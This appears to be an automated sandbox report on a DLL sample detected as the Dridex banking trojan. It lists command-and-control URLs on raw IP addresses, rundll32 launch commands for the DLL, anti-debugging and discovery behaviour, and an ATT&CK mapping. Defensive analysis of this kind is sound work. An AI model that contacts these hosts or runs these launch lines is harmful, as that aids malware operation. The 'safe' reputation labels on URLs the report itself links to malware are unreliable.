Source: loaddll32.exe, 00000000.00000003.652034067.000000000099D000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.525073328.000000000099D000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.542004971.000000000099D000.00000004.00000001.sdmp	String found in binary or memory: https://185.56.219.47:8116/soft
Source: loaddll32.exe, 00000000.00000002.780745160.00000000033C0000.00000004.00000001.sdmp	String found in binary or memory: https://19.77.0.96:6891/
Source: loaddll32.exe, 00000000.00000003.652034067.000000000099D000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.725338491.000000000099D000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000002.778016005.000000000099D000.00000004.00000020.sdmp, rundll32.exe, 00000004.00000002.814827994.0000000005775000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/
Source: rundll32.exe, 00000004.00000002.773821588.0000000000FCC000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/(u1
Source: loaddll32.exe, 00000000.00000003.465711535.000000000099D000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/4l
Source: loaddll32.exe, 00000000.00000003.652034067.000000000099D000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/=l
Source: loaddll32.exe, 00000000.00000003.652034067.000000000099D000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/Certification
Source: loaddll32.exe, 00000000.00000003.652034067.000000000099D000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/El
Source: loaddll32.exe, 00000000.00000003.652034067.000000000099D000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/GlobalSign
Source: loaddll32.exe, 00000000.00000003.465711535.000000000099D000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/Nl
Source: loaddll32.exe, 00000000.00000003.652034067.000000000099D000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/O
Source: loaddll32.exe, 00000000.00000003.652034067.000000000099D000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/Pl
Source: loaddll32.exe, 00000000.00000003.652034067.000000000099D000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/R
Source: loaddll32.exe, 00000000.00000003.725338491.000000000099D000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/Wl
Source: loaddll32.exe, 00000000.00000003.465711535.000000000099D000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/Yl
Source: loaddll32.exe, 00000000.00000003.725338491.000000000099D000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/aenh.dll
Source: loaddll32.exe, 00000000.00000003.733634731.000000000099D000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/aenh.dll4
Source: loaddll32.exe, 00000000.00000003.652034067.000000000099D000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/al
Source: loaddll32.exe, 00000000.00000003.457343535.000000000099D000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/coro8
Source: loaddll32.exe, 00000000.00000003.652034067.000000000099D000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/en-US
Source: loaddll32.exe, 00000000.00000003.652034067.000000000099D000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/f
Source: loaddll32.exe, 00000000.00000003.652034067.000000000099D000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/jl
Source: loaddll32.exe, 00000000.00000003.652034067.000000000099D000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/k
Source: rundll32.exe, 00000004.00000002.814827994.0000000005775000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/ography
Source: loaddll32.exe, 00000000.00000003.575651265.000000000099D000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/sl
Source: loaddll32.exe, 00000000.00000002.780745160.00000000033C0000.00000004.00000001.sdmp	String found in binary or memory: https://195.56.219.47:8116/
Source: loaddll32.exe, 00000000.00000003.652034067.000000000099D000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.407113242.000000000099D000.00000004.00000001.sdmp	String found in binary or memory: https://45.77.0.96/
Source: loaddll32.exe, 00000000.00000003.652034067.000000000099D000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.725338491.000000000099D000.00000004.00000001.sdmp, rundll32.exe, 00000004.00000002.814827994.0000000005775000.00000004.00000001.sdmp	String found in binary or memory: https://45.77.0.96:6891/
Source: loaddll32.exe, 00000000.00000002.778016005.000000000099D000.00000004.00000020.sdmp	String found in binary or memory: https://45.77.0.96:6891/0
Source: loaddll32.exe, 00000000.00000003.407113242.000000000099D000.00000004.00000001.sdmp	String found in binary or memory: https://45.77.0.96:6891/14
Source: loaddll32.exe, 00000000.00000003.652034067.000000000099D000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.725338491.000000000099D000.00000004.00000001.sdmp	String found in binary or memory: https://45.77.0.96:6891/6/
Source: rundll32.exe, 00000004.00000002.814827994.0000000005775000.00000004.00000001.sdmp	String found in binary or memory: https://45.77.0.96:6891/Microsoft
Source: loaddll32.exe, 00000000.00000003.652034067.000000000099D000.00000004.00000001.sdmp	String found in binary or memory: https://45.77.0.96:6891/Sg
Source: rundll32.exe, 00000004.00000002.814827994.0000000005775000.00000004.00000001.sdmp	String found in binary or memory: https://45.77.0.96:6891/graphy
Source: loaddll32.exe, 00000000.00000003.407113242.000000000099D000.00000004.00000001.sdmp	String found in binary or memory: https://45.77.0.96:6891/h.dll
Source: loaddll32.exe, 00000000.00000003.407113242.000000000099D000.00000004.00000001.sdmp	String found in binary or memory: https://45.77.0.96:6891/sg

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Host: 192.46.210.220Content-Length: 4844Connection: CloseCache-Control: no-cache

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6ED639F9 InternetReadFile,

0_2_6ED639F9

Source: unknown	HTTPS traffic detected: 192.46.210.220:443 -> 192.168.2.5:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 192.46.210.220:443 -> 192.168.2.5:49757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 192.46.210.220:443 -> 192.168.2.5:50023 version: TLS 1.2

E-Banking Fraud:

Yara detected Dridex unpacked file

Show sources

Source: Yara match	File source: 4.2.rundll32.exe.6ed30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.3.rundll32.exe.f3db55.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.loaddll32.exe.83db55.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.3.rundll32.exe.129db55.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.3.rundll32.exe.33fdb55.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.3.rundll32.exe.129db55.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.loaddll32.exe.83db55.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.6ed30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.3.rundll32.exe.f3db55.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.3.rundll32.exe.33fdb55.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.3.rundll32.exe.e4db55.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.3.rundll32.exe.e4db55.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000003.341889397.00000000033E0000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.791906460.000000006ED31000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.390619959.0000000000820000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.369249349.0000000001280000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.340472911.0000000000F20000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000003.387507409.0000000000E30000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.815931183.000000006ED31000.00000020.00020000.sdmp, type: MEMORY

Detected Dridex e-Banking trojan

Show sources

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6ED351A7 OutputDebugStringA,Sleep,OutputDebugStringA,OutputDebugStringA,Sleep,OutputDebugStringA,OutputDebugStringA,Sleep,OutputDebugStringA,OutputDebugStringA,Sleep,OutputDebugStringA,GetAdaptersInfo,

0_2_6ED351A7

Source: SecuriteInfo.com.Variant.Razy.980776.4470.dll

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6ED467C8	0_2_6ED467C8
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6ED36AD0	0_2_6ED36AD0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6ED496D0	0_2_6ED496D0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6ED5FA10	0_2_6ED5FA10
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6ED53EC0	0_2_6ED53EC0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6ED4B6F0	0_2_6ED4B6F0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6ED48EF0	0_2_6ED48EF0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6ED562F0	0_2_6ED562F0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6ED4F6E0	0_2_6ED4F6E0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6ED4AE80	0_2_6ED4AE80
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6ED48AB0	0_2_6ED48AB0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6ED526B0	0_2_6ED526B0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6ED51EB0	0_2_6ED51EB0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6ED51240	0_2_6ED51240
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6ED49E70	0_2_6ED49E70
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6ED4A660	0_2_6ED4A660
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6ED57660	0_2_6ED57660
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6ED52E60	0_2_6ED52E60
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6ED3CA10	0_2_6ED3CA10
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6ED5FA10	0_2_6ED5FA10
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6ED50220	0_2_6ED50220
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6ED5D620	0_2_6ED5D620
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6ED483C0	0_2_6ED483C0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6ED47FC0	0_2_6ED47FC0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6ED57FC0	0_2_6ED57FC0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6ED4E3F0	0_2_6ED4E3F0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6ED4BF50	0_2_6ED4BF50
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6ED59B10	0_2_6ED59B10
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6ED53B00	0_2_6ED53B00
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6ED51730	0_2_6ED51730
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6ED3ACD0	0_2_6ED3ACD0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6ED4A0D0	0_2_6ED4A0D0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6ED498DA	0_2_6ED498DA
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6ED488C0	0_2_6ED488C0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6ED48CC0	0_2_6ED48CC0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6ED55CB0	0_2_6ED55CB0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6ED4E0A0	0_2_6ED4E0A0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6ED54CA0	0_2_6ED54CA0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6ED550A0	0_2_6ED550A0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6ED5DCA0	0_2_6ED5DCA0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6ED4D030	0_2_6ED4D030
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6ED51020	0_2_6ED51020
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6ED4FDD0	0_2_6ED4FDD0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6ED589F0	0_2_6ED589F0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6ED571F0	0_2_6ED571F0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6ED4C590	0_2_6ED4C590
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6ED4D980	0_2_6ED4D980
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6ED5D180	0_2_6ED5D180
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6ED3F9A0	0_2_6ED3F9A0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6ED31570	0_2_6ED31570
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6ED47564	0_2_6ED47564
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6ED7E210	4_2_6ED7E210

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6ED422A0 NtDelayExecution,		0_2_6ED422A0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6ED5BE30 NtClose,		0_2_6ED5BE30

Source: SecuriteInfo.com.Variant.Razy.980776.4470.dll

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\loaddll32.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\loaddll32.exe loaddll32.exe 'C:\Users\user\Desktop\SecuriteInfo.com.Variant.Razy.980776.4470.dll'
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\SecuriteInfo.com.Variant.Razy.980776.4470.dll',#1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\SecuriteInfo.com.Variant.Razy.980776.4470.dll,Bluewing
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\SecuriteInfo.com.Variant.Razy.980776.4470.dll',#1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\SecuriteInfo.com.Variant.Razy.980776.4470.dll,Earth
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\SecuriteInfo.com.Variant.Razy.980776.4470.dll,Masterjust
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\SecuriteInfo.com.Variant.Razy.980776.4470.dll',#1	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\SecuriteInfo.com.Variant.Razy.980776.4470.dll,Bluewing	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\SecuriteInfo.com.Variant.Razy.980776.4470.dll,Earth	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\SecuriteInfo.com.Variant.Razy.980776.4470.dll,Masterjust	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\SecuriteInfo.com.Variant.Razy.980776.4470.dll',#1	Jump to behavior

Source: C:\Windows\System32\loaddll32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: classification engine

Classification label: mal76.bank.troj.evad.winDLL@11/2@0/4

Source: C:\Windows\System32\loaddll32.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\SecuriteInfo.com.Variant.Razy.980776.4470.dll,Bluewing

Source: SecuriteInfo.com.Variant.Razy.980776.4470.28989

Joe Sandbox Cloud Basic: Detection: clean Score: 0

Perma Link

Source: C:\Windows\SysWOW64\rundll32.exe

File read: C:\Windows\System32\drivers\etc\hosts

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe	Automated click: OK
Source: C:\Windows\SysWOW64\rundll32.exe	Automated click: OK
Source: C:\Windows\SysWOW64\rundll32.exe	Automated click: OK

Source: SecuriteInfo.com.Variant.Razy.980776.4470.dll

Static file information: File size 1375232 > 1048576

Source: SecuriteInfo.com.Variant.Razy.980776.4470.dll

Static PE information: DYNAMIC_BASE, NX_COMPAT

Source: SecuriteInfo.com.Variant.Razy.980776.4470.dll

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_3_00B7C762 push eax; ret

0_3_00B7C76D

Source: C:\Windows\SysWOW64\rundll32.exe

Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\loaddll32.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\rundll32.exe	Last function: Thread delayed

Source: C:\Windows\System32\loaddll32.exe

Code function: OutputDebugStringA,Sleep,OutputDebugStringA,OutputDebugStringA,Sleep,OutputDebugStringA,OutputDebugStringA,Sleep,OutputDebugStringA,OutputDebugStringA,Sleep,OutputDebugStringA,GetAdaptersInfo,

0_2_6ED351A7

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6ED43930 GetTokenInformation,GetTokenInformation,GetSystemInfo,GetTokenInformation,

0_2_6ED43930

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6ED5CEF8 FindFirstFileExW,

0_2_6ED5CEF8

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 4_2_6EDA97B0 IsDebuggerPresent,IsDebuggerPresent,CreateThread,std::_Timevec::_Timevec,WaitForSingleObjectEx,

4_2_6EDA97B0

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 4_2_6EDA8B60 __invoke_watson_if_error,OutputDebugStringW,OutputDebugStringW,OutputDebugStringW,OutputDebugStringW,OutputDebugStringW,__strftime_l,__aligned_msize,__invoke_watson_if_error,__aligned_msize,__invoke_watson_if_error,__aligned_msize,__invoke_watson_if_error,__aligned_msize,__invoke_watson_if_error,__aligned_msize,__invoke_watson_if_error,__aligned_msize,__invoke_watson_if_error,__aligned_msize,__invoke_watson_if_error,__cftoe,__aligned_msize,__invoke_watson_if_error,GetFileType,WriteConsoleW,GetLastError,__cftoe,WriteFile,WriteFile,OutputDebugStringW,__invoke_watson_if_error,__CrtDbgReportWV,

4_2_6EDA8B60

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6EDA47C0 mov ecx, dword ptr fs:[00000030h]	4_2_6EDA47C0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6EE7BA72 mov eax, dword ptr fs:[00000030h]	4_2_6EE7BA72
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6EE7B942 mov eax, dword ptr fs:[00000030h]	4_2_6EE7B942
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6EE7B64D push dword ptr fs:[00000030h]	4_2_6EE7B64D

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6ED46C50 KiUserExceptionDispatcher,LdrLoadDll,

0_2_6ED46C50

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6ED47A60 RtlAddVectoredExceptionHandler,		0_2_6ED47A60
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6ED763A0 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		4_2_6ED763A0

HIPS / PFW / Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 45.77.0.96 235	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 185.56.219.47 180	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 192.46.210.220 187	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 143.244.140.214 40	Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\SecuriteInfo.com.Variant.Razy.980776.4470.dll',#1

Jump to behavior

Source: loaddll32.exe, 00000000.00000002.780512330.0000000001270000.00000002.00020000.sdmp, rundll32.exe, 00000004.00000002.796914302.00000000039D0000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd
Source: loaddll32.exe, 00000000.00000002.780512330.0000000001270000.00000002.00020000.sdmp, rundll32.exe, 00000004.00000002.796914302.00000000039D0000.00000002.00020000.sdmp	Binary or memory string: Progman
Source: loaddll32.exe, 00000000.00000002.780512330.0000000001270000.00000002.00020000.sdmp, rundll32.exe, 00000004.00000002.796914302.00000000039D0000.00000002.00020000.sdmp	Binary or memory string: SProgram Managerl
Source: loaddll32.exe, 00000000.00000002.780512330.0000000001270000.00000002.00020000.sdmp, rundll32.exe, 00000004.00000002.796914302.00000000039D0000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd,
Source: loaddll32.exe, 00000000.00000002.780512330.0000000001270000.00000002.00020000.sdmp, rundll32.exe, 00000004.00000002.796914302.00000000039D0000.00000002.00020000.sdmp	Binary or memory string: Progmanlock

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: EnumSystemLocalesW,	4_2_6EDC1E60
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetLocaleInfoW,GetACP,GetLocaleInfoW,	4_2_6EDC2750
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: EnumSystemLocalesW,	4_2_6EDC1F40
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetLocaleInfoW,	4_2_6EDABC30
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: EnumSystemLocalesW,	4_2_6EDC1DB0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: EnumSystemLocalesW,	4_2_6EDAB0B0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	4_2_6EDC2960

Source: C:\Windows\System32\loaddll32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion InstallDate

Jump to behavior

Source: C:\Windows\System32\loaddll32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6ED42980 GetUserNameW,

0_2_6ED42980

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation	Path Interception	Process Injection112	Process Injection112	OS Credential Dumping	Query Registry1	Remote Services	Archive Collected Data1	Exfiltration Over Other Network Medium	Encrypted Channel11	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Obfuscated Files or Information1	LSASS Memory	Security Software Discovery2	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	Non-Standard Port1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Rundll321	Security Account Manager	Process Discovery1	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Ingress Tool Transfer3	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Binary Padding	NTDS	Account Discovery1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Non-Application Layer Protocol2	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	System Owner/User Discovery1	SSH	Keylogging	Data Transfer Size Limits	Application Layer Protocol13	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Steganography	Cached Domain Credentials	Remote System Discovery1	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Compile After Delivery	DCSync	System Network Configuration Discovery1	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	File and Directory Discovery1	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Masquerading	/etc/passwd and /etc/shadow	System Information Discovery23	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
SecuriteInfo.com.Variant.Razy.980776.4470.dll	2%	ReversingLabs

Dropped Files

No Antivirus matches

Unpacked PE Files

No Antivirus matches

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://143.244.140.214:808/hy	0%	URL Reputation	safe
https://195.56.219.47:8116/	0%	Avira URL Cloud	safe
https://185.56.219.47/Wl	0%	Avira URL Cloud	safe
https://143.244.140.214:808/:	0%	Avira URL Cloud	safe
https://192.46.210.220/aenh.dll	0%	Avira URL Cloud	safe
https://192.46.210.220/aenh.dll4	0%	Avira URL Cloud	safe
https://185.56.219.47:8116/4h	0%	Avira URL Cloud	safe
https://45.77.0.96:6891/sg	0%	Avira URL Cloud	safe
https://143.244.140.214:808/(	0%	Avira URL Cloud	safe
https://185.56.219.47:8116/	0%	URL Reputation	safe
https://192.46.210.220/Certification	0%	URL Reputation	safe
https://45.77.0.96/	0%	URL Reputation	safe
https://192.46.210.220/Wl	0%	Avira URL Cloud	safe
https://185.56.219.47:8116/oft	0%	Avira URL Cloud	safe
https://185.56.219.47:8116/(	0%	Avira URL Cloud	safe
https://143.244.140.214:808/%	0%	Avira URL Cloud	safe
https://143.244.140.214:808/X	0%	Avira URL Cloud	safe
https://192.46.210.220/Pl	0%	Avira URL Cloud	safe
https://143.244.140.214:808/oft	0%	Avira URL Cloud	safe
https://45.77.0.96:6891/h.dll	0%	Avira URL Cloud	safe
https://192.46.210.220/coro8	0%	Avira URL Cloud	safe
https://45.77.0.96:6891/6/	0%	Avira URL Cloud	safe
https://185.56.219.47:8116/fW	0%	Avira URL Cloud	safe
https://143.244.140.214:808/ll	0%	Avira URL Cloud	safe
https://192.46.210.220/	0%	URL Reputation	safe
https://185.56.219.47:8116/Ub	0%	Avira URL Cloud	safe
https://185.56.219.47:8116/llUb	0%	Avira URL Cloud	safe
https://185.56.219.47:8116/soft	0%	Avira URL Cloud	safe
